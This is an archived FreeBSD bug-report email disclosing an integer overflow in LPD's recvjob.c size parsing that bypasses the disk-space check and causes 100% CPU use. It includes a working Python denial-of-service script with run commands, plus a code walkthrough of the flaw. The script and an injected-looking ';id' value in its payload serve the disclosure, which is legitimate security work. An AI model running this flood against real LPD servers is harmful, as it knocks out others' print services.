Date: Wed, 18 Feb 2026 23:19:39 +0000 From: bugzilla-noreply@freebsd.org To: bugs@FreeBSD.org Subject: [Bug 293278] LPD Remote 100% CPU Usage - DoS via Integer Overflow in recvjob.c File Size Parsing Message-ID: <bug-293278-227@https.bugs.freebsd.org/bugzilla/>
index | next in thread | raw e-mail
https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=293278 Bug ID: 293278 Summary: LPD Remote 100% CPU Usage - DoS via Integer Overflow in recvjob.c File Size Parsing Product: Base System Version: 14.3-RELEASE Hardware: amd64 OS: Any Status: New Severity: Affects Many People Priority: --- Component: bin Assignee: bugs@FreeBSD.org Reporter: igor@bsdtrust.com Created attachment 268179 --> https://bugs.freebsd.org/bugzilla/attachment.cgi?id=268179&action=edit CPU Usage after PoC poc3.py The Line Printer Daemon (LPD) implementation in FreeBSD, as seen in the recvjob.c source code, is vulnerable to a denial-of-service (DoS) attack via integer overflow during the parsing of file sizes in data transfer subcommands. This vulnerability allows an attacker to bypass disk space checks and force the LPD server to attempt processing an effectively unlimited amount of data, resulting in high CPU usage (up to 100%), potential disk space exhaustion, and eventual process termination due to write errors. The proof-of-concept (POC) script poc3.py demonstrates this by claiming a file size that triggers overflow, followed by sending continuous data resulting in high CPU usage (up to 100%). This issue stems from inadequate handling of large integers in the size parsing logic, combined with the protocol's lack of explicit upper bounds on file sizes (as defined in RFC 1179). The attack can be executed remotely over TCP port 515 (default LPD port) and requires no authentication beyond binding to a reserved local port (721-1023) (The domain of attakcer needs to be on /etc/hosts.lpd) . poc777.py: import socket import sys def flood_lpd(host, server_port=515, queue_name='lp', local_port=721, chunk_size=1024): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', local_port)) s.connect((host, server_port)) # Send command 02 s.sendall(b'\x02' + queue_name.encode('ascii') + b'\n') if s.recv(1) != b'\x00': sys.exit(1) # Send subcommand with size size = 2147483648 #integer overflow subcmd = b'\x03' + str(size).encode('ascii') + b' junkdata;id\n' s.sendall(subcmd) # Flood with junk junk = b'\x00' * chunk_size while True: s.sendall(junk) if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: sudo python script.py <host> [local_port]") sys.exit(1) host = sys.argv[1] local_port = int(sys.argv[2]) if len(sys.argv) > 2 else 721 flood_lpd(host, local_port=local_port) running more than 3x is possible get the 100% CPU usage sudo python3 poc777.py 192.168.202.136 805 sudo python3 poc777.py 192.168.202.136 905 sudo python3 poc777.py 192.168.202.136 810 sudo python3 poc777.py 192.168.202.136 723 1 - Where does the overflow happen? (In the parsing of the size) https://github.com/freebsd/freebsd-src/blob/main/usr.sbin/lpr/lpd/recvjob.c /usr.sbin/lpr/lpd/recvjob.c In the readjob() code (function that reads commands from the client): size = 0; while (*cp >= '0' && *cp <= '9') size = size * 10 + (*cp++ - '0'); size is declared as int (in FreeBSD 64-bit, int is 32-bit, with limit INT_MAX = 2147483647). In the POC, you send \x032147483648 junkdata;id\n (size = 2147483648, which is 2^31). During the parsing loop: Starts with size=0. Multiplies by 10 and adds digit by digit: when it reaches "21474836", it has already exceeded 2147483647 (INT_MAX). Simple example: "214748364" is already 214748364 (ok), but "2147483648" does *10 +8, which overflows. Result: signed overflow → size becomes negative (typically -2147483648, which is INT_MIN). Why doesn't it crash here? Overflow in int is not automatically checked in C (unlike languages like Java). It's undefined behavior, but in practice, the CPU just wraps around and continues running. int x = 2147483647; x = x * 10 + 8;, it doesn't crash, it just becomes negative or garbage. 2 - Bypass of the disk check (chksize) After parsing, it calls if (!chksize(size)) { ... reject }. In chksize(int _size): size = (_size + 511) / 512; // converts bytes to 512 blocks if (minfree + size > spacefree) return(0); // not ok, lacks space -> With _size negative (-2147483648), (_size + 511) / 512 becomes a huge negative number (like -4194304 blocks). minfree + size (size negative) becomes less than minfree, so almost always minfree + size <= spacefree (available space), returning 1 (OK). Key vulnerability here: The function assumes size is positive, but with negative overflow, it bypasses the resource check. Result: Server accepts the "giant file" (ACK with \x00), even without real space for 2GB+. 3 - The infinite loop that consumes CPU (readfile) Now it goes to readfile(..., size_t _size), where _size = (size_t)size. size is negative int → cast to size_t (unsigned, 64-bit in FreeBSD) becomes a HUGE positive number (like 18446744071562067968, which is 2^64 - 2^31). The main loop: for (i = 0; i < size; i += SPL_BUFSIZ) { // SPL_BUFSIZ = BUFSIZ (typically 8192) // reads chunk from socket do { j = read(STDOUT_FILENO, cp, amt); // ... checks errors } while (amt > 0); // writes chunk to spool file if (write(fd, buf, amt) != (ssize_t)amt) { err++; break; } } With huge size (almost infinite), the loop runs "forever" (until i overflows or something goes wrong). Each iteration: read() from socket (POC sends infinite junk, so it doesn't block). Copies data in memory (buf). write() to file (goes to kernel cache, but syscall overhead). Syscalls (read/write) + memory copies in small chunks (8192 bytes) create a tight loop that uses full CPU. I would like request a CVE for this overflow. Credits: Author: Igor Gabriel Sousa e Souza Email: igor@bsdtrust.com LinkedIn: https://www.linkedin.com/in/igo0r -- You are receiving this mail because: You are the assignee for the bug.home | help
Want to link to this message? Use this
URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-293278-227>
